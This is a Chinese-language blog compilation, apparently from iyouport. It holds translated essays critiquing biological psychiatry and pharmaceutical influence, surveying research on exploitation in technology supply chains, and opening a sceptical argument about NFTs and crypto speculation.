我们现在知道，这种被寄予厚望的科学前景从未到来，精神病学一直在等待它的生物学戈多。虽然 DSM-III 和后续版本（包括 IV 和 V）提高了诊断可靠性，但精神病学仍然存在有效性问题。换句话说，在 DSM 中定义每种病症的症状集合—— 经过数十亿美元的投资—— 仍然与我们的大脑、血液或基因的剧烈变化无关。

例如，经常被引用的声称精神分裂症具有遗传基础的说法并未通过科学验证。正如 Scull 所讨论的，在未能找到一组可以解释精神分裂症的孟德尔基因后，2000 年代的研究人员将希望寄托在新的全基因组关联研究 (GWAS) 上，该研究可以筛查数十万个碱基对、寻找精神疾病的遗传基因。但 GWAS 研究并未揭示精神分裂症（或双相情感障碍）的明确遗传基础。虽然结合数百个遗传位点至多可以帮助解释观察到的精神分裂症8%的变异，但一个人仍然有可能拥有这些遗传变异而不会患上这种疾病。著名的精神病学家 Michael Rutter 和 Rudolf Uher 的反思是："对精神疾病的分子遗传学研究做了很多工作，但发现却很少。事实上，在全基因组关联研究的时代，精神疾病已经与大多数类型的身体疾病区分开来，因为它们缺乏充分的遗传关联。"

转向生物学并没有对治疗产生有意义的影响，但它作为一种心理药物的营销策略已经取得了巨大的成功

「图」

虽然转向生物学并没有对诊断或治疗产生有意义的影响，但它作为精神药物的营销策略已经取得了巨大的成功。事实上，过去半个世纪精神病学最大的变化可能是大型制药公司的诞生，而不是生物学的任何革命。精神症状市场在 1980 年代对制药公司的吸引力至少存在两个原因。首先，精神药物是长期服用的：许多患者是终生消费者。其次，自我认知和主观体验在精神疾病的诊断中起主要作用。制药公司高管意识到，这一事实意味着需求可以受到有效营销的影响和操纵，将精神药物定位为消费者对其生活不满的解决方案。

1990 年代，制药公司投资数百万，利用精神病学家的生物学热情制作直接面向消费者的广告。这些广告颇具误导性地声称，他们的药物针对的是大脑中的 "化学失衡"，这种失衡会导致美国人日常的抑郁和焦虑感。除了消费者需求外，该行业还将其相当大的影响力集中在处方者身上。制药公司在著名的学术中心为有影响力的医生提供药物样品、利润丰厚的咨询服务和其他激励措施来兜售他们的产品。

今天，该行业在财政上支持几乎所有精神病学期刊和学科会议。DSM-V 工作组中有差不多 69% 的成员披露了与制药行业的财务关系，这要比 DSM-IV 工作组报告的披露还多 21%。制药公司对 DSM 的影响促进了诊断类别的扩展，"精神疾病" 的概念本身因此变得更具包容性，从而扩大了潜在药物市场的规模。

在过去的半个世纪里，制药公司还影响了美国食品和药物管理局 (FDA) 对药物的审核。如今，FDA 46% 的预算来自提交药物申请的公司（所谓的 “行业使用费”），公司负责对其生产的药物进行安全性和有效性试验。这种明显的利益冲突导致制药公司歪曲安全性和有效性的证据、隐藏负面结果和副作用数据，并雇人捉刀学术文章。虽然许多重大的民事和刑事裁决已经对这些违法行为的公司进行了处罚，但这种不道德行为的结构性根源 —— 行业评估其获利产品这一事实 —— 仍然存在。

大型制药公司对行业的重大影响，从对美国精神病医生的身份认同的改变就可看到，他们已经从上世纪中叶的精神分析师转为今天的药物处方师。虽然研究表明心理治疗与治疗焦虑症、抑郁症和其他疾病的药物一样有效，甚至更有效，但精神科医生通常专注于药物处方，并将患者送到心理学家和社会工作者那里接受治疗。这种转变取得了可观的回报。今天的精神药物行业价值近 600 亿美元，去年有六分之一的美国人服用了精神科药物。

然而，制药业在精神病学上投入如此之大，为什么药物治疗却一直没有突破呢？一个主要原因是该行业在精神科药物广告上的花费比新药研发上多出数十亿美元。正如精神病学家大卫·希利（David Healy）所表明的那样，专门用于研发的资金通常并非旨在产生真正的创新。自 1990 年以来生产的几乎所有精神药物都是旧的仿制药的 “模仿者”，只是进行了轻微的化学修饰。这些（不幸地被命名为）**“me-too”** 的药物在临床上的效果并不比之前的药物好，但它们轻微的生化新颖性意味着它们可以申请专利，这样制药公司就可以向医疗保险公司收取高额费用。

也许最坏的消息是，已经创造并利用了精神病学市场的大型制药公司现在纷纷跳船。人类学家乔·杜米特（Joe Dumit）表明，大多数精神科药物很快就面临专利失效，医药公司将被迫降低收费。由于充满仿制药，而且看不到重大的生物科学的突破，市场的增长空间突然变得很小。几乎所有主要的制药公司都决定退出精神药物研究，转向更有前景的领域，尤其是“生物制剂”和其他抗癌药物的开发。

那么，精神病学有前途吗？制药业在继续发展，除了精神病学需要谦逊的模糊声明以及精神病学家应该关注社会心理治疗方法而不仅仅关注生物学治疗方法的信息，Harrington 和 Scull 也没有提供什么解决方案。

Scull 还想知道回归心理治疗是否可能是答案。当今美国的精神科门诊通常依赖 15 到 30 分钟的简短访问，集中在药物管理和症状检查

清单上。 Scull 对精神科医生和病人之间的这一联系的感到悲哀，上世纪中叶的精神科医生代表着患者（大部分颇有中上阶级的特权），至少做精神分析需要倾听患者，他强调说。

不幸的是，过去五十年的心理治疗越发变得像药丸本身：标准化、快速、公司化和廉价。在 1980 年代和 90 年代，医疗管理放大了一些精神病学家的批评，即密集和探索性质的长期精神分析意味着对时间和金钱的大量投入，但是收益不大。他们提倡更快、更实惠的医疗形式，不仅包括药物，还包括新的认知行为疗法 (CBT) 技术，其结果如历史学家 Hannah Zeavin 所言，这些技术贬低了治疗师本人的治愈能力。某些 CBT 方法试图将治疗师的角色缩减到照本宣科，如同为患者编写的计算机程序中的自动对话和人工程序。在 CBT 模型中，患者的思想和感受被理解为可以编程的脚本，而内省和心理洞察力 —— Scull 所重视的 “倾听”—— 被一些从业者诋毁为 “肚脐凝视”。这导致传统的精神分析在今天几乎不可能实现了。虽然许多治疗师采取折衷，借鉴 CBT 和其他各种临床精神分析方法，但传统精神分析所代表的那种长期的、开放式的治疗现在极难获得。医疗保险公司拒绝承保，想要进行精神分析的患者经常被迫自费支付高额费用。

随着精神分析的衰落，精神和心理治疗越来越像企业自动化了。如今，心理学家和社会工作者经常在 **Talkspace** 之类的数字平台上寻找 “零工” 机会，赚取大约 **25** 美元的时薪，几乎无法控制他们的工作时间、费用或工作条件。其他人则使用人工智能（通常是女性化的）聊天机器人进行治疗。令人不安的是，这些数字程序在很大程度上不受监管，其治疗标准很可疑。鉴于医疗保险公司的财务压力和要求患者尽快康复的卫生系统，坦率地说，心理治疗的未来看起来很黯淡——无论是对渴望恢复与人接触能力的患者，还是对劳动力价值被贬低到随时被自动删除的治疗医师，都一样。

精神病学视野中唯一真正令人兴奋的发展，似乎是迷幻药，哈灵顿在她的结论中非常简短地提到了迷幻药。非营利组织和科研人员目前正在对 MDMA（摇头丸）、psilocybin（神奇蘑菇）、LSD（麦角酸）、美斯卡林、伊博加因和死藤水进行了50 多项的 FDA 试验，用于治疗各种精神疾病。艾氯胺酮已被批准用于治疗难治性抑郁症。研究人员和记者，如迈克尔·波伦(Michael Pollan)，称之为“迷幻复兴”，认为这些迷幻药物将彻底改变精神病学，开启对思想和大脑之间联系的新理解，并帮助成千上万的患者。

但这听起来是不是太熟悉了？“迷幻复兴” 感觉就像是下一次哈灵顿革命，依旧是夸夸其谈的主张、海量资本进入，以及此刻对患者来说尚不确定的好处。关于这些药物的疗效仍然没有定论，但已经很清楚

的是，制药行业已经注意到了。 2020 年，总部位于伦敦的 Compass Pathways 获得了Thiel Capital 的种子投资，成为第一家上市的迷幻药公司，IPO 后估值为 11 亿美元。

不容忽视的是，大型制药公司没有放弃其惯用伎俩。正如我曾经指出的，强生公司对使用氯胺酮治疗抑郁症很感兴趣，但无法为该药申请专利，因为它已经是一种廉价的仿制药。强生决定做一个模仿者，用化学方法分离出化合物的一个镜像。他们将这种“me-too”的化合物称为Spravato，并为这种药物申请了专利，现在每剂收费近 1000 美元。商业公司们正在使用类似的策略从土著社区沿用几个世纪的、具有精神活性的植物药中分离出可申请专利的化合物，这引发了人们对新兴迷幻药行业的伦理担忧，即欧美对土著知识、植物和土地的永久剥削问题。

因此，这种 “迷幻复兴” 很可能只是始于 1980 年代的大型制药公司其更大规模革命的新阶段。无论迷幻药最终提供何种临床益处，药物都不能解决困扰我们心理健康系统的结构性问题。继续获利的是大型制药公司以及与行业合作的精神病学家。迷幻药只能帮助那些我们的社会中能够接触到它们的人：主要是拥有私人保险的白人和中上层阶级。

这两本书打开了一个未来的想象，可让投入生物-精神病学研究的数十亿美元被重新分配给最需要它的社群

「图」

虽然这两本令人印象深刻的书都抓住了重要的历史背景，但它们也错过了一些对精神病学过去的批评，这让他们对未来的看法多少有些局限：他们未能直面精神病体系在过去半个世纪中对黑人社区的大规模监禁中所扮演的角色。

对 Harrington 和 Scull 来说，随着大型精神病院的关闭和去制度化的兴起，也就是1960 年代开始将精神护理从精神病院转移到社区的运动，可以说在人口层面上，精神病学的监狱模式基本终结了。在这种常规叙事中，去制度化的问题被新自由主义所忽视：患者从精神病院大量出院后却得不到多少资源和支持，导致严重精神疾病患者大量流离失所，流落街头的比率很高。

当然，这个故事忽略了监禁模式与精神病学交织缠绕的沉默和微妙。正如历史学家安妮·帕森斯(Anne Parsons)所说，“收容病院模式并没

有随着去制度化而消失”。相反，“它以现代监狱工业综合体的形式回归。” 今天，美国一些最大的心理健康机构在监狱中开展业务 ——美国监狱中患有严重精神疾病的人比监狱之外精神病院中的总人数还要多。大约 **40%** 被诊断患有严重精神疾病的人不得不在监禁状态下度过余生，大多数案例都是种族主义政策下正在进行的毒品战争的结果。监狱中的精神病患者处于高度隔离状态下。虽然精神病院倾向于收留白人、中年病人，但监狱却不成比例地关押了大量四十岁以下的黑人精神疾病患者。

此外，社会学家 Anthony Ryan Hatch 认为，监狱内精神药物的使用被允许对患者在大脑层面施行控制。监狱政策的专家们没有将精神药物定义为医学治疗，而是将其视为 “技术性矫正” 的重要组成部分，即通过 “新技术的战略应用，降低大规模监禁的成本并最大限度地减少囚犯对社会的风险”。 例如2000 年，大约 95% 处于最高或高度戒备状态的监狱都向被监禁者分发精神药物。

这些书中之所以缺少这些事实，缘于哈灵顿和斯卡尔过分专注精神病的学术精英，一个总是避免触及监狱工作的群体。正如 Hatch 所指出的，我们几乎所有关于精神药物的公共知识都来自未监禁者的使用，而关于监狱精神药物的知识往往与囚犯本身一样受到严密保护。这种沉默是一种压迫形式，既掩盖了将精神药物用作监管控制技术，也掩盖了我们未能为囚禁中人（其中许多人因监禁而受到创伤）提供他们应得的人道待遇的事实。

作为一名精神科医生，我相信构成这一悲剧的，是代表精神病领域的我们的沉默和缺乏责任感。尽管精神疾病患者人群的预期寿命不断下降，被监禁和无家可归的精神病患者比例很高，并且经历了范式的失败，但生物精神病学的研究机器仍在不断发展。

在他自己的新书《治愈：我们从精神疾病到精神健康的道路》中，作者 Insel 认为生物精神病学过去的失败表明我们应该 “加倍努力进行大脑研究”，而不是犹豫哪个优先。 Insel 在 NIMH 的继任者 Joshua Gordon 一直保持该组织对生物精神病学研究的关注，当然只是狭义的。 虽然 Harrington 和 Scull 都指出了今天精神病执业的 “危机”，但更可怕的事实是，学院中的许多人都在照常进行。 换句话说，精神病科学的真正危机在于没有危机。

如果上述这些精英的学术临床医师的历史没有澄清整个问题，就不会产生有想象力的解决方案。寻求答案本身需要让学术界去中心化，并在标准精神病学科史之外寻找那些被忽视的叙述。例如，残疾活动家和学者 Liat Ben-Moshe 的历史著作转向了 “疯人社区”，在这些社区

内部，人们没有将神经分裂看作一种需要治疗的医学问题，而是一种大可庆祝的身份。 **1970** 年代的 “疯人活动家” 和专业联盟，如反精神病医生 **Thomas Szasz**，成功地要求在美国社会废除暴力的精神病院和囚禁精神病人的做法。虽然这场要求精神病学去制度化的运动并没有带来美国残疾人的全面解放，但 **Ben-Moshe** 认为，它提供了重要的经验，即社区如何才能够成功抵制以治疗之名对结构的压迫。

Ben-Moshe 的研究不仅有助于批判性地审视过去的精神暴力，而且还提供了一个她所谓的 “谱系”，观照似乎无法想象的未来。抵抗的谱系对 “健康” 的概念化，不是基于学科医师提供的个体化治疗，而是关于如何从产生大量心理痛苦和创伤的结构性条件中获得集体解放。这一谱系支撑着当今社区和专业人士要求废除（针对精神病患的）监禁制度的努力，并通过同伴支持、安置屋和政治抗议等构想各种非暴力形式的治疗护理。例如，去年（2021）在洛杉矶，一个由社区组织者、学者和官员组成的联盟成功地阻止了一间 “精神病监狱” 的建设，并主张将这些资金再投入以社区为基础的精神卫生保健计划。“治疗第一，监狱最后”，这是他们的要求。

对更多享有特权的人群来说，也有意想不到的教训。毕竟，物质财富并不能帮助人们免受资本主义的心理伤害。倦怠和抑郁在上层中产阶级医生和医学生中很普遍。仅举一个例子：耶鲁大学超过三分之一的学生（其中许多人来自特权背景）寻求心理健康服务以解决心理困扰。正如心理治疗师 **Gary Greenberg** 直言不讳地说，“事实是，如果我们没有这样一个操蛋的社会，我就会失业。”

上层社会的心理痛苦不仅证明我们需要增加获得治疗的机会，无论是通过药物还是心理治疗。这种情形要求我们动员起来，改变这个病态的社会，从有毒的培训计划和高压的大学文化再到非人性化的工厂车间。正如历史学家乔安娜·拉丁（Joanna Radin）鼓励我在药物史本科课程所讨论的，问题不仅是什么是适合我的药物？还有，如果我不需要药物，世界会变成什么样子？有吗？

哈灵顿和斯卡尔当然不希望他们的书被这样解读，但我们可以把他们的精神学科史理解为一种呼吁，在美国取消对生物精神病学的资助。拒绝一个 “革命” 或者 “复兴” 的承诺对一个研究项目来说或许无关紧要。

我们不需要成为神经科学家就可以知道心理和情感上的痛苦是 “真实的” 或 “合法的”，而且无论药物多么有效，都无法消除这个制造创伤的监狱制度和资本主义制度。正如这些书告诉我们的，精神病理论的范式是多么脆弱，尽管背后生物理论的脆弱控制在最近的批评压力下

终于放松了。我们职业的未来，如果有的话，并不在于有可能取得生物学突破的无力承诺。这取决于发掘和拥抱那些被忽略的精神病史和那些精神学科所关切群体其团结的谱系。〇

Mental Illness Is Not in Your Head

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制 - iyouport

免费书和纪录片社会反抗和思考

不论是近期被成为热点的新疆“强迫劳动”、曾经引起全球关注的富士康跳楼、还是数不清的全球奴役压迫、剥削和污染，反抗和暴力镇压，它们背后都有着一个共同的根本性原因。

- “云” 的背后是什么？
- 哪里是强迫劳动的根源？
- 所谓的“自动化”究竟是个什么东西？
- 如何更清楚地理解殖民主义、资本主义和全球化？
- 中国的电动汽车开发公司风头正劲，每次融资新闻都是几十亿的计数，这些汽车的背后究竟是什么？
- 什么才是全球性的专制和不平等加剧的凶手？
- 工人运动、环境正义运动、人权运动，为什么必需必然紧密结合在一起？……

我们在此前的《工作是个什么东西》中指出过这点，所谓的科技进步并没有解放人类，全球工人的平均工时反而更长了，人们甚至相信996是“福音”，因为至少证明你有工作，有活儿干，如果你失业了，那就是没顶之灾，没有人能帮你。

科技发达到卫星满天飞，有钱人准备着移居火星，酒店前台是机器人服务员，而我们这些工人为什么依旧活得如此苦逼？

这是有原因的。也是当下最重要的反抗项目。

此前我们发布了另一本今年出版的新书《行星矿》，本文推荐的新书和一系列相关研究则从每个人最基本的生活入手，帮助人们切身体验到所谓的高科技背后的暴行。这并不是一个新问题，而是未能被解决而愈演愈烈的状况。

不论是近期被成为热点的新疆“强迫劳动”、曾经引起全球关注的富士康跳楼、还是数不清的全球奴役压迫、剥削和污染，反抗和暴力镇压，它们背后都有着一个共同的根本性原因。

本文中涉及的书目您可以在这里下载：https://www.patreon.com/posts/bo-xue-ya-po-xie-51253006

在阿根廷广阔的盐碱地下，有一些世界上最大的锂储量—— 至少目前是这样。盐水以每天200万加仑的速度被泵入一系列太阳能蒸发池，其长方形的形状与不对称的六边形山脊交相辉映。

锂是智能手机、笔记本电脑和电动汽车中的可充电锂离子电池的基石，但它从南美阿塔卡马地区到我们的电子设备的旅程细节却非常模糊。追踪它需要不懈的决心 —— 搜寻公司文件和公共登记册，从公司代表那里哄骗信息，并慢慢建立一个连接生产商、加工商、制造商和零售商的地图。

在过去的几年里，越来越多的研究试图追踪那些为我们的数字生活提供动力的巨大的人类劳动、数据和自然资源网络。从 Kate Crawford 和 Vladan Joler 的“解剖人工智能系统”到 David Abraham 的“权力元素”，这些调查对全球供应链惊人的复杂性所掩盖的剥削行为进行了新的揭示。

学术界和记者长期以来一直对记录从糖到T恤衫等各种商品的漫长而曲折的旅行感兴趣。但是，技术的供应链甚至更加令人目不暇接。苹果公司公布了其前200名供应商的名单，他们在总共1000多个设施中工作。三星表示，它与世界各地约2200家供应商合作。这些供应商有自己的网络，包括数百甚至数千家供应商。

这种对供应链的关注—— 或一些人称之为供应研究—— 植根于这样一种认识，即：我们与技术的关系不能单纯地从我们如何利用它的角度来理解；相反，这种方法的前提是调查金属、炼油厂、工厂、航运集装箱和仓库，它们不仅制造和交付我们所有人使用的电子产品，而且，还形成了组织我们社会的基础设施。供应研究试图提炼出这些全球网络并使其清晰可见，这些网络的复杂性掩盖了它们造成的伤害。它为理解我们每个人使用的设备的真正来源和真正影响，提供了一个关键的镜头。

物流和供应链管理这两个相互关联的领域起源于军事背景，在16世纪末变得更加重要，当时欧洲军队的扩张使得部队在敌方领土上难以获得食物和物资。在20世纪，物流开始认真地支配战略，工业战争的大

量弹药需求需要可靠的运输网络和系统。

军队的组织要求和公司的组织要求之间的相似之处并没有被忽视。从20世纪60年代到80年代，供应链管理成为公司业绩的一个关键考虑因素—— 部分原因是更多的生产被外包，但也是由于电子数据收集和分析的巨大改进，使得预测和调度更加精确。今天，物流和供应链管理被视为商学院的重点专业领域。其目标是优化货物的流动和转化，从原材料到用户手中的最终产品。

通常情况下，供应链是从那些管理供应链的人的角度来讨论的，其框架是提高效率和最小化破坏。然而，最近，地理学、信息研究和媒体研究等学科的学者已经从一个批判性的—— 而不是 “如何做”—— 的角度开始研究全球供应链。如果企业的目标是建立一个无缝的供应链，以至于消费者几乎不知道它的存在，那么这些研究人员试图把这个过程翻出来，揭露被华而不实的设计和包装，或者像 “云” 这样模糊的概念所掩盖的人类和环境成本。

媒体历史学家 Matthew Hockenberry 的供应研究网站包括一个广泛的大纲，展示了该领域的广泛工作，包括学术出版物（Deborah Cowen 的《物流的致命生活》）、调查性新闻（Tim Maughan 的 “世界小工具工厂—深圳的变化”）、倡导工作（The Enough Project）、纪录片（Frank Piasecki Poulsen 的 Blood in the Mobile）和模拟游戏（Molleindustria 的 Phone Story）。

全球商品生产和流通的民族志研究确实有广泛的历史，特别是在人类学中（见 June Nash 在1979年对玻利维亚原住民锡矿工的研究）。此后，媒体和通信理论家对这种方法进行了调整，将实地调查与其他学科的研究方法相结合，以审视技术对象的物质历史。

在他们2018年的文章 “解剖人工智能系统” 中，纽约大学AI Now研究所的联合创始人凯特·克劳福德和诺维萨德大学的新媒体教授弗拉丹·约勒绘制了一个单一产品的供应链，即亚马逊Echo—— 通过采矿、加工、组装和运输，以及培训虚拟助理**Alexa**所需的众包数字劳动。

该项目旨在表明，即使是据称 “自动化” 的人工智能服务也会带来大量的工人剥削（克劳福德在今年出版的新书中对此进行了更加深入的探讨）。也推荐我们此前介绍的这本书《看不见的工人阶级》

像许多供应研究的学者一样，克劳福德和约勒在公共渠道分享了他们的大部分工作，促进了围绕我们经常认为理所当然的小工具的大众认知的转变。

参与社会活动的艺术家也越来越多地在他们的作品中处理物流和供应链问题。未知领域部门是由 Kate Davies 和 Liam Young 领导的工作室，与其他艺术家和设计师合作，对 “错位的风景” 进行考察—— 这些地方虽然在地理上远离全球北方的城市居民，但却通过开采过程与我们所有人紧密相连。

这个团体通过艺术来表达他们的发现，包括一套用有毒粘土制作的明式花瓶，这些粘土是从内蒙古的一个稀土矿物提炼厂产生的放射性尾矿池中收集的。这些矿物被用于生产消费技术 —— 例如，铈被转化为用于擦亮触摸屏的氧化铈。

揭秘现代供应链是出了名的困难，但一个位于柏林的名为 “战术技术” 的组织帮助公众进行自己的调查，该组织有一个免费提供的工具包，简称 “工具包”。

其他的文章则放大了生产过程的某一阶段，提醒读者注意生产设施的恶劣劳动条件，以及矿物开采对环境和健康的不利影响。

在《华盛顿邮报》关于阿根廷和智利锂矿开采的专题报道中，托德·弗兰克尔和彼得·沃里斯基研究了像 Minera Exar 这样的跨国企业与当地村庄之间谈判的不公平交易—— 为了换取从他们的祖传土地上开采锂矿的权利，该公司将对六个原住民社区中的每一个社区进行补偿，每年支付9,000美元至59,000美元不等。而同时，该业务预计每年将产生约2.5亿美元的收入。随着需求的增加，越来越多的主流媒体也开始关注开采自然资源所带来的人类损失。

许多供应研究的作品之所以如此有效，是因为它们的作者让自己——以及读者—— 沉浸在生产和分销的现场，而这些现场往往是被偏远的地点所掩盖的，或者是隐藏着工厂、仓库或服务器农场的不显眼的建筑。他们还参加行业会议和培训，以便更好地了解供应链决策是如何做出的。

有时，生产地点是虚拟的，而不是实体的：在《纽约客》的一篇文章中，米里亚姆·波斯纳讲述了她参加40小时在线培训课程的经历，学习使用SAP SCM，一种领先的供应链管理软件解决方案。Posner 是加州大学洛杉矶分校信息研究和数字人文学科的助理教授，她从一个企业供应链经理的角度参与到全球装配网络中。她观察到该程序的目录和电子表格如何提供了一个抽象的观点，脱离了实地工人所浏览的复杂现实。

人们已经不断被警告过，无人机袭击将战争游戏化，使操作者对杀害

他人的可怕行为不敏感。供应链管理软件也有类似的影响：实现更快的周转开始感觉像是在解决一个逻辑难题，而不是延长工人的工作时间或取消休息时间。

媒体报道特别针对富士康，这家台湾拥有的公司是苹果最大的供应商之一，特别是在2010年中国大陆的工厂发生了一系列工人自杀事件之后。这家电子制造商因其不人道的做法而受到审查，包括将工人安置在拥挤的工厂宿舍，让他们接触危险化学品，并创造一个高压环境，要求长时间工作而没有适当的休息或加班费。

工人们从事重复性的工作，而这些工作对消费者来说是不可思议的——一位卧底调查员在轮班时只能用一只蘸有酒精的牙刷来清除1400个亚马逊 Echo Dot 扬声器上的灰尘颗粒。

富士康的曝光——包括查尔斯·杜希格和大卫·巴尔博萨2012年在《纽约时报》上发表的文章、以及英国广播公司2014年的调查纪录片——标志着许多消费者的一个重要转折点。尽管他们可能将 **iPhone** 与便利性和功能性、或史蒂夫·乔布斯和硅谷联系在一起，但是。他们现在不得不为装配线上的中国青年和为防止工人从工厂屋顶跳下而安装的黄色安全网的形象留出空间。

对与全球供应链有关的侵犯人权行为的道德关注并不新鲜。例如，在17世纪末，来自加勒比海的奴隶种植的糖受到了约30万英国人的抵制。这场运动唤起了人们的良知，呼吁个人发挥他们作为消费者的力量，支持废奴运动。

历史学家托马斯·哈斯克尔认为，市场经济的兴起产生了两个看似矛盾的效果：它以自我利益的名义剥削劳工，同时也扩大了道德责任的限度。对一些人来说，这提出了一个基本问题：他们首先是公民，还是消费者？作为消费者，他们的角色只是做出满足自己需求和欲望的选择。然而，作为公民，他们对公共利益有更广泛的义务，即使这意味着损害自己的利益。由于认识到当地的行动越来越有可能影响到远方的个人和社区，从而将公民的范围扩大到全球，这种两难的局面进一步复杂化。这种认识解释了将巴巴多斯的被奴役者与莱斯特的居民——帮助组织抵制食糖运动的伊丽莎白·海里克的家乡——联系起来的商业网络是如何引起一些人的内疚感和个人责任的。

最近，像耐克这样的服装公司在**20**世纪**90**年代受到了抨击，导致了为改善其供应商网络中血汗工厂的残酷工作条件所做的公关宣传工作。这个时代最受欢迎的书籍之一是纳奥米·克莱因1999年的畅销书《No Logo》。

克莱因描述了“轻装上阵”的口号在跨国公司中的兴起 —— 当他们将资源注入品牌营销时，他们也尽量减少对自己工厂的依赖，用合同工和临时工取代全职员工，并加大了外包力度。

这意味着工资低、安全风险大，以及在分包的生产设施中使用童工。克莱因和其他反全球化活动家强调的动力在许多供应研究项目中被放大了，这些项目在某种程度上寻求扭转企业试图通过精心打造品牌来隐藏材料来源的做法。

在许多方面，以技术为重点的供应研究提供了一个新的框架，通过它来理解殖民主义、资本主义和全球化等既定的问题。以钶钽铁矿石为例，这是生产大多数电子设备所需的电容器的一种关键成分。人类学家詹姆斯·史密斯（James Smith）在他对刚果自给自足的采矿业的研究中，提出了将钶钽铁矿石作为一种数字矿物来考虑的理由。通过强调嵌入在我们使用的技术中的人、地方、文化传统、经济关系和政治背景，将其定义为数字矿物，有助于打击将虚拟身份和互动等同于非实体化的持久特质。

消费者往往被阶级和地理因素与参与生产的个人和社区分开，因此被屏蔽在由他们的设备产生的压迫和环境破坏之外。一双跑鞋和一部智能手机之间的区别在于，后者通常被理解为是“经济转型”的一部分，从传统的资源密集型产业转向基于信息的活动。当我们购买一台新的 MacBook 时，我们可能认为它是一台等待我们指示的机器，或者是我们个人收集的文件、照片和视频的一个空容器。这样一来，我们就忽略了它的构造环境，而只关注它如何调解我们自己的解放。科技公司以这种说法为基础，鼓吹远程工作和基于平台的商业模式的变革潜力。

但在神奇的幻觉背后，是工人们的劳动—— 以及他们的存在—— 不被承认。对供应链的批判性分析试图将技术建立在其物质基础之上。如果继续忽视对自然资源、人类劳动和基础设施的依赖，会让人误以为数字世界在某种程度上与物理世界不同。

供应链研究和倡导加强了对政府的压力，要求其通过新的立法，并要求像亚马逊和苹果这样的公司改变其做法。一些公司现在定期进行供应商审计，以确保整个全球供应链的伙伴公司遵守环境、劳工、健康和安全标准。仅在2019年，苹果就在49个国家进行了1142次供应商检查。审计工作的上升表明，科技公司可能终于被逼着为外包和海外工人的困境承担责任了。

虽然政府法规和更大的公司问责制可以产生一些积极的结果，然而，

现代供应链是如此复杂、不透明和分散，以至于改变往往像与多头蛇作战：每解决一个问题，似乎就会出现两个或更多的新的问题来代替它。电动汽车经常被作为一个例子，说明环境和社会问题的技术解决方案往往会重现不公正的现象。虽然被宣传为比温室气体排放车辆更“绿色”的创新，但是，为电池提取和加工锂会污染土壤和水，扰乱生计，并破坏当地生态系统。

正如许多关于供应研究的作品所表明的那样，当面向消费者的公司还希望其供应商以最低的成本提供最大的产出，从而对劳动条件和工资施加向下的压力时，像供应商审计这样的公司举措是远远不够的。提高利润率的驱动力也鼓励了不那么可持续的做法。在 Peter Whoriskey 的《华盛顿邮报》关于石墨工厂（锂离子电池的另一个组成部分）附近的中国村庄的广泛污染的报道中，他指出，净化通常使用有毒物质，而不是采用更环保但略微昂贵的方法。

供应研究的优势在于它能够为读者说明维持我们生活的相互依赖的网络。文学学者布鲁斯·罗宾斯（Bruce Robbins）认为，这可以诱发一个短暂的意识时刻—— 一个激增的洞察力，“一个人是一个难以想象的巨大而复杂的社会整体的受益者。”这产生了不适感，并且在不知所措的情况下，我们很快又回到了日常的习惯中，在几秒钟前造成这种剥削奴役的设备上继续滚动和敲击。罗宾斯将这种动态称为 ”血汗工厂的升华”。但是，也许在面对我们作为个人的局限性时，我们应该认识到，与试图对整个系统进行自上而下控制的企业供应链管理相比，我们的力量在于自下而上的集体动员。

虽然技术生产的问题不能仅靠个人消费选择来解决，但供应研究的兴起似乎表明，越来越多的人正在扩大自己的道德责任的限度。该领域的一个前进方向是浮现工人和社区活动家反击人权迫害和环境侵犯的故事，以补充对侵犯行为本身的报道。这是普罗维登斯学院助理教授 Thea Riofrancos 采用的方法，她撰写了关于拉丁美洲反对资源开采的多利益攸关方基层联盟的文章。虽然 Riofrancos 承认，在全球分散的供应链中建立联盟必然具有挑战性，但传播关于现有努力的知识可以加强团结，增加政治压力。

这里有一个重要的反抗案例《工运新时代：在供应链中团结起来》

物流和供应链管理的典型目标是“在正确的时间将正确的产品送到正确的地点”。但是，“以合适的价格”实现这一目标往往是以牺牲地球资源、健康生态系统以及个人和社区的权利和自主权为代价的。通过展示我们的技术的真实成本，供应研究迫使人们重新审视自己的价值—— 每个项目都是一个特定的窗口，可以看到隐藏在我们认为理所当

然的抛光产品背后的纠结的剥削网络。借用威廉·布莱克的话说就是，供应研究使我们有可能在iPhone或亚马逊Echo中看到一个世界；将其巨大的暴行握于掌中。〇

Source Material

原文

加密货币是荷兰郁金香吗？- 用于辩论的负面评价 - iyouport

社会反抗和思考

我们支持加密货币作为逃离统治的革命工具，但如果您的目的是投资，也许值得谨慎

一个*TikTok*玩笑一小时内就价值*7000*万美元……

【注】近期以塔勒布为代表的很多经济学家加入了对加密货币的辩论，尤其是警告它作为货币的属性失败时的结果。我们并不排斥加密货币，我们反对一切对加密货币的追踪监视，因为可能的隐私性是加密货币最大的价值。我们将相关内容汇总在 列表-2 “监视区块链和反现金之战” 中。 本文是作为一个反方辩论的论点出现，尤其是，当您的目的并不是隐私和逃离统治，而是 “炒币” 时，您应该知道一些事。

最近关于NFT的喧嚣主要是产生了很多混乱。在几乎每一篇关于这个主题的文章中，它们都被描述为一种需要仔细解释的极其复杂的技术现象，而不是一种极其无聊的现象，往往会让人无法集中注意力。这种不协调会产生疑惑：你可能会对自己说：“好吧，我所理解的这一切似乎很荒谬，但它是相当高科技的，而且显然有很多钱在里面，所以也许我错过了什么？” 不，你没有。NFT就像你可能相信的那样荒谬和平庸。

我认为这就是克里斯托弗·诺兰效应：如果你把一个非常简单的前提 —— 比如，“一个人每隔五分钟就会忘记一切” 或者 “你可以进入人们的梦境，制造虚假的记忆”—— 用越来越深奥的方式反复解释它，被解释的人最终就会告诉自己，“我明白不了了”。这种效应只会在越多的人同意手头的事是 “酷”、“有趣” 或 “复杂” 的情况下得到加强 —— 这是一个大规模的、自我伤害的煤气灯操纵过程。

【注：Gaslighting 指一种精神虐待，在这种形式下，信息被扭曲或歪曲，选择性的删减以迎合施虐者的喜好，或者把虚假信息呈现给受害

者，意图使受害者怀疑他们自己的记忆力、认知力和精神状态。例子的范围可以从只是否认先前虐待事件曾发生过，上升到施虐者上演离奇事件，意图误导受害者。这个术语来源于1938年的戏剧《煤气灯》以及它的电影版本。这个术语已被用于临床医疗和文学研究。】

